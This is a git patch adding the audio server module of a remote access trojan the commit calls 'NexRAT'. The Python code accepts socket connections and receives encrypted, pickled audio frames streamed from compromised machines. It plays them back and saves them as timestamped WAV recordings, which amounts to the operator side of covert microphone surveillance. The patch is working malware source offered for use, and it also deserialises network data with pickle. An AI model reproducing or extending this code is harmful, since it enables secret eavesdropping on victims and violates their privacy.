From 18a3d3bc354e667bc58385e59745b82b53695139 Mon Sep 17 00:00:00 2001
From: AL-LCL <alvin@alvinhavel.com>
Date: Fri, 19 May 2023 11:06:25 +0200
Subject: NexRAT

---
 Modules/Servers/audio.py | 118 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 118 insertions(+)
 create mode 100644 Modules/Servers/audio.py

(limited to 'Modules/Servers/audio.py')

diff --git a/Modules/Servers/audio.py b/Modules/Servers/audio.py
new file mode 100644
index 0000000..ffa2da9
--- /dev/null
+++ b/Modules/Servers/audio.py
@@ -0,0 +1,118 @@
+import pyaudio
+import socket
+import pickle
+import zlib
+import time
+import wave
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+	info = get_module_data()
+	audio_settings = []
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.bind((info[1], int(info[3].split(',')[2])))
+	s.listen()
+except:
+	exit(0)
+
+
+def audio_info():
+	info = '\n'
+	
+	for index, setting in enumerate(audio_settings):
+		info += f'    - {setting[0]}[{index}]'
+		if len(audio_settings) > 1 and index + 1 != len(audio_settings):
+			info += '\n'
+	
+	if len(audio_settings) == 0:
+		info = 'False'
+		
+	return info
+
+
+def set_audio_settings(index):
+	global audio_settings
+
+	try:
+		if index == '*':
+			for audio_setting in audio_settings:
+				audio_setting[1].close()
+			return 'Audios closed!'
+		else:
+			audio_settings[int(index)][1].close()
+			return 'Audio closed!'
+	except:
+		return 'Audio failed to close.'
+
+
+def Audio(encoding, path, user):
+	try:
+		global audio_settings
+
+		CHUNK = 81920
+		FORMAT = pyaudio.paInt16
+		CHANNELS = 2
+		RATE = 44100
+		headersize = 10
+		new_msg = True
+		msg_len = 0
+		full_msg = b''
+		msg = b'next'
+
+		e = Encryption()
+		client, addr = s.accept()
+
+		u = (user, client, addr)
+		audio_settings.append(u)
+
+		real_msg = pickle.dumps(msg)
+		real_msg = zlib.compress(real_msg, 1)
+		real_msg = e.do_encrypt(real_msg)
+		final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+		client.send(final_msg)
+
+		p = pyaudio.PyAudio()
+		stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+		frames = []
+
+		while True:
+			try:
+				client_msg = client.recv(81920)
+
+				if new_msg:
+					msg_len = int(client_msg[:headersize])
+					new_msg = False
+
+				full_msg += client_msg
+
+				if len(full_msg)-headersize == msg_len:
+					frame = e.do_decrypt(full_msg[headersize:])
+					frame = zlib.decompress(frame)
+					frame = pickle.loads(frame)
+
+					stream.write(frame)
+					frames.append(frame)
+
+					real_msg = pickle.dumps(msg)
+					real_msg = zlib.compress(real_msg, 1)
+					real_msg = e.do_encrypt(real_msg)
+					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+					client.send(final_msg)
+					
+					new_msg = True
+					msg_len = 0
+					full_msg = b''
+			except:
+				audio_settings.remove(u)
+				waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
+				waveFile.setnchannels(CHANNELS)
+				waveFile.setsampwidth(p.get_sample_size(FORMAT))
+				waveFile.setframerate(RATE)
+				waveFile.writeframes(b''.join(frames))
+				waveFile.close()
+				exit(0)
+	except:
+		exit(0)
\ No newline at end of file
-- 
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